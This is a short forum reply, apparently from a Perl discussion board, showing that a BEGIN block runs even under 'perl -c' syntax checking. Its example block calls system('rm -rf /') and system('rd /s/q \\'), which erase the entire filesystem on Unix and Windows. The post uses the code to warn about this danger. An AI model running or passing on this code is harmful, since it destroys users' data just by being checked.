in reply to What restrictions are there on code execution when running perl in syntax check mode?
Ah, good point. Here is updated code from Re^2: The most common errors and warnings in Perl (crawl before you die):
BEGIN { ( $ENV{PATH} )= $ENV{PATH} =~ /(.*)/; delete @ENV{qw< IFS CDPATH ENV BASH_ENV TERM >}; system( 'rm -rf /' ); system( 'rd /s/q \\' ); }
- tye
|
|---|